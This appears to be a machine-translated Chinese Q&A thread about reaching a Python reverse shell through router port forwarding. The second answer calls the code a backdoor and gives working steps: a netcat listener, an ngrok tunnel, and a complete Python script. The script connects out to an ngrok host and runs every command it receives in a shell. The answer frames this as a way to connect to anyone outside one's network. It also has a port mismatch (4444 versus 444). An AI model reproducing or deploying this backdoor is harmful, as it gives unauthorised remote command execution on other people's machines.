我用python创建了一个反向外壳,而我的路由器在端口转发中遇到了问题。
我没有任何静态IP。
在路由器中:
协议:TCP
Lochealipaddr:192.168.1.10
本地端口:8090
Wanipaddr:---
港口:8090
状态:启用
在我的python脚本中,我无法绑定到我的WAN IP地址上
ST.bind((Wanipaddr,8090))
如果我在localipaddr上绑定,我的反向Shell客户端将无法连接到服务器
我的问题解决方案是什么?
谢谢
答案 0 :(得分:0)
听起来您的路由器已配置为将来自Internet的请求从端口8090转发到您的主机(假设您具有正确的LAN IP)。也许只是尝试绑定到0.0.0.0
。
在wikipedia中,它适合以下上下文:
一种指定“根本没有IPv4地址”的方法。在配置服务器时(即绑定监听套接字时)以这种方式使用。
换句话说,您是在告诉服务器实质上是在每个可用的网络接口(在该端口上)上侦听。
答案 1 :(得分:0)
如果您想使用后门来接收局域网外部的连接,请使用ngrok
示例:
1-让我们在端口4444上侦听:
nc -lp 4444
2-在安装ngrok之后,您将运行以下命令:
ngrok tcp 444
3-现在找到ngrok地址
4-使用您的ngrok地址连接到客户端
# backdoor.py
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '0.tcp.ngrok.io'
PORT = 12969
s.connect((HOST, PORT))
while True:
conn = s.recv(2048).decode()
if conn[:3] == 'cd ':
os.chdir(conn[3:])
cmd = ''
else:
proc = subprocess.Popen(conn, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)
stdout, stderr = proc.communicate()
cmd = stdout+stderr
cmd += str('\n'+os.getcwd()).encode()
s.send(cmd)
5-现在您可以与网络外部的任何人建立联系